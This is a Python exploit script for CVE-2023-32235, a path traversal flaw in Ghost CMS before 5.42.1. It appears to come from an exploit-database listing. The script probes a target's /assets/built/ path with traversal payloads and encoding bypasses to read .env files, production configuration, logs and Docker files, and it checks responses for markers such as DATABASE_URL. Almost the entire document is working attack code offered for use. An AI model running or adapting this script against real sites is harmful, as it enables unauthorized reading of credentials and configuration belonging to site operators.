1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.42.1 - Path Traversal
# Date: 2023-06-15
# Exploit Author: ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.42.1
# Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
# CVE: CVE-2023-32235
"""
import requests
import sys
import urllib.parse
from typing import Dict, List, Tuple, Optional
class ExploitResult:
def __init__(self):
self.success = False
self.payload = ""
self.response = ""
self.status_code = 0
self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
self.severity = "High"
class PathTraversalExploit:
def __init__(self, target_url: str, verbose: bool = True):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Accept': '*/*',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def exploit(self) -> ExploitResult:
result = ExploitResult()
# 路径遍历payload,针对Ghost CMS特定文件
payloads = [
{"path": "../../package.json", "description": "主package.json包含依赖", "sensitive": True},
{"path": "../../../package.json", "description": "根package.json", "sensitive": True},
{"path": "../../config.production.json", "description": "生产配置", "sensitive": True},
{"path": "../../config.development.json", "description": "开发配置", "sensitive": True},
{"path": "../../.env", "description": "环境变量", "sensitive": True},
{"path": "../../../.env", "description": "根环境文件", "sensitive": True},
{"path": "../../content/settings/routes.yaml", "description": "路由配置", "sensitive": False},
{"path": "../../content/logs/ghost.log", "description": "Ghost应用日志", "sensitive": False},
{"path": "../../yarn.lock", "description": "Yarn锁文件", "sensitive": False},
{"path": "../../package-lock.json", "description": "NPM锁文件", "sensitive": False},
{"path": "../../../Dockerfile", "description": "Docker配置", "sensitive": False},
{"path": "../../../docker-compose.yml", "description": "Docker compose文件", "sensitive": False}
]
for payload in payloads:
target_url = f"{self.target_url}/assets/built/{payload['path']}"
if self.verbose:
print(f"[*] Testing path traversal: {payload['path']}")
try:
response = self.session.get(target_url, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
if self._detect_file_read_success(response.text, payload['path']):
result.success = True
result.payload = payload['path']
result.response = response.text
result.status_code = response.status_code
if payload['sensitive']:
result.severity = "Critical"
if self.verbose:
print(f"[+] Successfully exploited path traversal: {payload['path']}")
print(f"[+] File content preview: {response.text[:200]}")
return result
except requests.RequestException as e:
if self.verbose:
print(f"[-] Request failed for {payload['path']}: {e}")
continue
# 如果没有直接文件读取,尝试替代绕过技术
if not result.success:
self._try_path_traversal_bypasses(result)
return result
def _try_path_traversal_bypasses(self, result: ExploitResult):
"""尝试各种路径遍历绕过技术"""
bypass_payloads = [
"..%2f..%2fpackage.json", # URL编码
"..%252f..%252fpackage.json", # 双重URL编码
"....//....//package.json", # 双点绕过
"..\\\\..\\\\package.json", # Windows风格
".%2e/.%2e/package.json", # 混合编码
"..%c0%af..%c0%afpackage.json", # UTF-8超长编码
]
for payload in bypass_payloads:
target_url = f"{self.target_url}/assets/built/{payload}"
try:
response = self.session.get(target_url, timeout=10)
if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
result.success = True
result.payload = payload
result.response = response.text
result.status_code = response.status_code
if self.verbose:
print(f"[+] Path traversal successful using encoding bypass: {payload}")
break
except requests.RequestException:
continue
def _detect_file_read_success(self, body: str, payload: str) -> bool:
"""检查响应是否表明文件读取成功"""
# 检查常见文件内容指示器
file_indicators = {
"package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
"config": ['"database"', '"server"', '"url"', '"mail"'],
"routes.yaml": ["routes:", "collections:", "taxonomies:"],
"ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],
"Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
"docker-compose": ["version:", "services:", "ghost:"]
}
# 检查特定文件类型指示器
for file_type, indicators in file_indicators.items():
if file_type.lower() in payload.lower():
for indicator in indicators:
if indicator in body:
return True
# 通用文件内容指示器
generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
count = sum(1 for indicator in generic_indicators if indicator in body)
# 如果找到多个通用指示器,可能是有效文件
return count >= 3
def main():
if len(sys.argv) < 2:
print("Usage: python3 CVE-2023-32235.py <target_url>")
print("Example: python3 CVE-2023-32235.py http://target.com")
return
exploit = PathTraversalExploit(sys.argv[1], verbose=True)
result = exploit.exploit()
print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===")
print(f"Target: {exploit.target_url}")
print(f"Success: {result.success}")
print(f"Severity: {result.severity}")
print(f"Description: {result.description}")
if result.success:
print(f"Payload: {result.payload}")
print(f"Status Code: {result.status_code}")
print(f"Response Preview: {result.response[:500]}")
else:
print("Exploit failed - target may not be vulnerable")
if __name__ == "__main__":
main()
|